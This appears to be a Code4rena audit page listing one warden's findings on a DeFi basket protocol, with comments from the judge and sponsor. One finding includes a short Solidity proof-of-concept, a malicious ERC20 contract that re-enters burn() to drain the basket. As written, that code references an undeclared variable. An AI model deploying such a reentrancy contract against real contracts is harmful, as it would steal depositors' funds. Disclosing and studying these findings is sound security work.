Platform: Code4rena
Start Date: 16/09/2021
Pot Size: $50,000 USDC
Total HM: 26
Participants: 30
Period: 7 days
Judge: GalloDaSballo
Total Solo HM: 17
Id: 36
League: ETH
Rank: 16/30
Findings: 4
Award: $678.39
🌟 Selected for report: 3
🚀 Solo Findings: 0
131.4735 USDC - $131.47
hack3r-0m
https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L146
transfer() might return false instead of reverting, in this case, ignoring return value leads to considering it successful.
use safeTransfer() or check the return value if length of returned data is > 0.
#0 - GalloDaSballo
2021-11-30T23:36:21Z
Agree with finding, agree with severity given the specific example given as the funds would be stuck in the contract
🌟 Selected for report: 0xalpharush
Also found by: JMukesh, hack3r-0m, johnsterlacci
182.6021 USDC - $182.60
hack3r-0m
https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L89
anyone can propose basket and hence one can create basket with his/her choice of tokens, out of which some can be malicious.
attacker can create sequence of tokens as WETH(1), DAI(2), USDC(3) and Malicious contract(4) and can drain all funds.
After calling burn(), at pushUnderlying(), 1st iteration will transfer WETH, 2nd will transfer DAI, third will transfer USDC and attacker will re-enter on 4th iteration again via burn()
Here is POC of attacker contract:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "./interfaces/IBasket.sol"; contract MaliciousERC20 { event Transfer(address indexed from, address indexed to, uint256 value); string name = "this is not erc20!"; string symbol = "not erc20!"; uint8 decimals = 18; function burnFromBasket(uint256 amount, address basket) public { IBasket(basket).burn(amount); } function transfer(address recipient, uint256 amount) public returns (bool) { IBasket(basket).burn(amount); emit Transfer(msg.sender, recipient, amount); return true; } }
#0 - frank-beard
2021-09-28T21:29:54Z
for this version of the protocol we are only concerned with defi safe erc-20 tokens, it is expected that the publishers and users will do their due diligence on what assets will be safe to add
#1 - GalloDaSballo
2021-12-19T00:05:13Z
Duplicate of #248
🌟 Selected for report: hack3r-0m
333.9773 USDC - $333.98
hack3r-0m
https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Factory.sol#L87
emit BasketLicenseProposed(msg.sender, tokenName);
same event can be emitted with excat same parameters multiple times causing confusion to actors relying on it.
Mitigation:
Add proposal id or some other parameter
#0 - GalloDaSballo
2021-12-02T01:35:45Z
The sponsor confirms
I can see how returning the id of the proposal would provide more info
4.3799 USDC - $4.38
hack3r-0m
startAuction() should be declared external: - Auction.startAuction() (contracts/Auction.sol#34-41) killAuction() should be declared external: - Auction.killAuction() (contracts/Auction.sol#43-45) initialize(address,address) should be declared external: - Auction.initialize(address,address) (contracts/Auction.sol#47-52) bondForRebalance() should be declared external: - Auction.bondForRebalance() (contracts/Auction.sol#54-67) settleAuction(uint256[],address[],uint256[],address[],uint256[]) should be declared external: -Auction.settleAuction(uint256[],address[],uint256[],address[],uint256[]) (contracts/Auction.sol#69-109) addBounty(IERC20,uint256) should be declared external: - Auction.addBounty(IERC20,uint256) (contracts/Auction.sol#126-138) initialize(IFactory.Proposal,IAuction) should be declared external: - Basket.initialize(IFactory.Proposal,IAuction) (contracts/Basket.sol#36-47) mint(uint256) should be declared external: - Basket.mint(uint256) (contracts/Basket.sol#72-74) burn(uint256) should be declared external: - Basket.burn(uint256) (contracts/Basket.sol#89-100) changePublisher(address) should be declared external: - Basket.changePublisher(address) (contracts/Basket.sol#133-148) changeLicenseFee(uint256) should be declared external: - Basket.changeLicenseFee(uint256) (contracts/Basket.sol#152-166) publishNewIndex(address[],uint256[]) should be declared external: - Basket.publishNewIndex(address[],uint256[]) (contracts/Basket.sol#170-194) deleteNewIndex() should be declared external: - Basket.deleteNewIndex() (contracts/Basket.sol#207-214) setMinLicenseFee(uint256) should be declared external: - Factory.setMinLicenseFee(uint256) (contracts/Factory.sol#39-41) setAuctionDecrement(uint256) should be declared external: - Factory.setAuctionDecrement(uint256) (contracts/Factory.sol#43-45) setAuctionMultiplier(uint256) should be declared external: - Factory.setAuctionMultiplier(uint256) (contracts/Factory.sol#47-49) setBondPercentDiv(uint256) should be declared external: - Factory.setBondPercentDiv(uint256) (contracts/Factory.sol#51-53) setOwnerSplit(uint256) should be declared external: - Factory.setOwnerSplit(uint256) (contracts/Factory.sol#55-59) proposeBasketLicense(uint256,string,string,address[],uint256[]) should be declared external:
#0 - GalloDaSballo
2021-11-28T17:17:11Z
Duplicate of #240
25.9609 USDC - $25.96
hack3r-0m
https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L14
BLOCK_DECREMENT is never used.
#0 - GalloDaSballo
2021-11-28T17:22:03Z
Finding is valid